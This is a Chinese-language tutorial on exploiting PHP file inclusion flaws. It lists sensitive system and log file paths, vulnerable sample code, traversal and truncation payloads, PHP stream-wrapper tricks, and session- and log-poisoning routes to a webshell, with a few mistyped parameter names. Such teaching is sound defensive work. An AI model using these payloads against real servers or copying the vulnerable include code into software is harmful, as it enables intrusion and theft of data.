一、文件包含漏洞簡介
1、原理
服務器執行PHP文件時,可以通過文件包含函數加載另一個文件中的PHP代碼,並且當PHP來執行,這可以給開發者節省大量的時間。而這也導致客戶端可以調用一個惡意文件,造成文件包含漏洞。
2、文件包含漏洞利用的前提條件
1)web 應用采用 include 等文件包含函數,並且需要包含的文件路徑是通過用戶傳輸參
數的方式引入。
2)用戶能夠控制包含文件的參數,被包含的文件可被當前頁面訪問。
3、文件包含獲取 webshell 的條件
1)攻擊者需要知道文件存放的物理路徑;
2)對上傳文件所在目錄擁有可執行權限;
3)存在文件包含漏洞。
4、典型特征
變量的值變成一個頁面
?page=a.php
?home=b.html
?file=content
...
5、分類
文件包含漏洞共分為兩大類,本地文件包含和遠程文件包含。
二、文件包含函數
PHP中文件包含函數有以下四種:
require()
include()
require_once()
include_once()
include和require區別主要是,include在包含的過程中如果出現錯誤,會拋出一個警告,程序繼續正常運行;而require函數出現錯誤的時候,會直接報錯並退出程序的執行。
而include_once(),require_once()這兩個函數,與前兩個的不同之處在於這兩個函數只包含一次。適用於在腳本執行期間同一個文件有可能被包括超過一次的情況下,想確保它只被包括一次以避免函數重定義,變量重新賦值等問題。
三、本地文件包含漏洞
1、常見的敏感信息路徑
1)Windows
C:\boot.ini //查看系統版本
C:\windows\system32\inetsrv\MetaBase.xml //IIS 配置文件
C:\windows\repair\sam //存儲 windows 系統初次安裝的密碼
C:\Program Files\mysql\my.ini //mysql 配置
C:\Program Files\mysql\data\mysql\user.MYD //Mysql root
C:\windows\php.ini //php 配置信息
C:\windows\my.ini //mysql 配置文件
2)UNIX/Linux
/etc/passwd
/usr/local/app/apache2/conf/httpd.conf //apache2 默認配置文件
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虛擬網站設置
/usr/local/app/php5/lib/php.ini //PHP 相關配置
/etc/httpd/conf/httpd.conf //apache
/etc/php5/apache2/php.ini //ubuntu 系統的默認路徑
3)日志默認路徑
① apache+Linux 日志默認路徑
/etc/httpd/logs/access_log
/var/log/httpd/access_log
② apache+win2003 日志默認路徑
D:\xampp\apache\logs\access.log
D:\xampp\apache\logs\error.log
③ IIS6.0+win2003 默認日志文件
C:\WINDOWS\system32\Logfiles
④ IIS7.0+win2003 默認日志文件
%SystemDrive%\inetpub\logs\LogFiles
⑤ nginx 日志文件
日志文件在用戶安裝目錄 logs 目錄下
如:/usr/local/nginx/logs
2、無限制本地包含漏洞
示例簡單源碼如下:
<?php
$filename = $_GET['filename'];
include($filename);
?>
通過目錄遍歷漏洞可以獲取到系統中其他文件的內容(../../etc/passwd)
3、session文件包含漏洞
1)利用條件:session存儲位置可以獲取
- 通過phpinfo信息獲取session存儲位置
- 猜測默認的session存放位置(Linux默認存放在/var/lib/php/session;Windows默認在C:\WINDOWS\Temp或集成環境下的tmp文件夾里)
2)方法
存在本地文件包含漏洞,可通過ctfs寫入惡意代碼到session文件中,然后通過文件包含漏洞執行此惡意代碼getshell。
示例簡單源碼如下:
<?php
session_start();
$ctfs=$_GET['ctfs'];
$_SESSION["username"]=$ctfs;
?>
此php會將獲取到的GET型ctfs變量的值存入到session中。
當訪問http://xxx.com/session.php?ctfs=<?php phpinfo();?> 后,會在/var/lib/php/session目錄下存儲session的值。攻擊者通過phpinfo()信息泄露或者猜測能獲取到session存放的位置,文件名稱通過開發者模式可獲取到,然后通過文件包含的漏洞解析惡意代碼getshell。
4、有限制本地包含漏洞繞過
1)%00截斷
條件:magic_quotes_gpc=OFF & PHP版本<5.3.4
測試:?filename=../../../../../../boot.ini%00
2)路徑長度截斷
條件:windows下目錄路徑最大長度為256字節,Linux下目錄最大長度為4096字節,超出長度將丟棄。
測試:?filename=text.txt././././. 或 ?filename=test.txt.....
四、遠程文件包含
服務器的php.ini的配置選項allow_url_fopen和allow_url_include為On,則include/require函數式是可加載遠程文件的。
allow_url_fopen = On(是否允許打開遠程文件)
allow_url_include = On(是否允許include/require遠程文件)
1、有限制遠程文件包含漏洞繞過
測試簡單源碼如下:
<?php include($_GET['filename'] . ".html"); ?>
代碼中多添加了html后綴,導致遠程包含的文件也會多一個html后綴。
1)問號繞過
?filename=http://../../php.txt?
2)#號繞過
?filenamr=http://../../php.txt%23
3)空格繞過
?filename=http://../../php.txt%20
五、PHP偽協議使用
1、php://filter(本地磁盤文件讀取)
元封裝器,設計用於"數據流打開"時的"篩選過濾"應用,對本地磁盤文件進行讀寫。
1)條件:只是讀取,需要開啟allow_url_fopen,不需開啟allow_url_include
2)用法如下:
?filename=php://filter/convert.base64-encode/resource=xx.php
?filwname=php://filter/read=convert.base64-encode/resource=xx.php
2、php://input(讀取post數據、寫入一句話木馬)
- 可以訪問請求的原始數據的只讀流。即可以直接讀取到POST上沒有經過解析的原始數據。 enctype="multipart/form-data" 的時候 php://input 是無效的。
- 遇到file_get_contents()就要想着用php://input繞過,因為php偽協議也是可以利用http協議的,即可使用post方式傳遞數據。
3、data://偽協議
數據流封裝器,和php://相似都是利用了流的概念,將原本的include的文件流重定向到了用戶可控制的輸入流中,簡單來說就是執行文件的包含方法包含了你的輸入流,通過你輸入payload來實現目的; data://text/plain;base64,dGhlIHVzZXIgaXMgYWRtaW4
4、phar://偽協議
這個參數是就是php解壓縮包的一個函數,不管后綴是什么,都會當做壓縮包來解壓。
1)用法:?file=phar://壓縮包/內部文件 phar://xxx.png/shell.php
注意: PHP > =5.3.0 壓縮包需要是zip協議壓縮,rar不行,將木馬文件壓縮后,改為其他任意格式的文件都可以正常使用。
2)步驟:寫一個一句話木馬文件shell.php,然后用zip協議壓縮為shell.zip,然后將后綴改為png等其他格式。
5、zip://偽協議
zip偽協議和phar協議類似,但是用法不一樣。
1)用法:?file=zip://[壓縮文件絕對路徑]#[壓縮文件內的子文件名] zip://xxx.png#shell.php。
2)條件: PHP > =5.3.0,注意在windows下測試要5.3.0<PHP<5.4 才可以,#在瀏覽器中要編碼為%23,否則瀏覽器默認不會傳輸特殊字符。
六、包含apache 日志
一般情況下 apache 會存在兩個日志文件,access.log(訪問日志)和 error.log(錯誤日志)。
當訪問一個不存在的資源時,Apache日志同樣會記錄,並寫到accsee.log文件中,這時再去包含
Apache的日志文件,就可以利用包含漏洞。即通過在url處制造錯誤,從而將錯誤寫入錯誤日志中並且進行包含錯誤日志操作,達到getshell的效果。
如果在訪問URL后一句話木馬在日志文件里變形了(PHP代碼中的"<,>,空格"都會被瀏覽器轉碼),無法利用Apache包含漏洞,可以通過Burpsuite繞過編碼。
參考
https://www.cnblogs.com/appear001/p/11149996.html
https://blog.csdn.net/qq_39431542/article/details/88628225
https://www.freebuf.com/articles/web/182280.html
https://www.freebuf.com/articles/web/277756.html
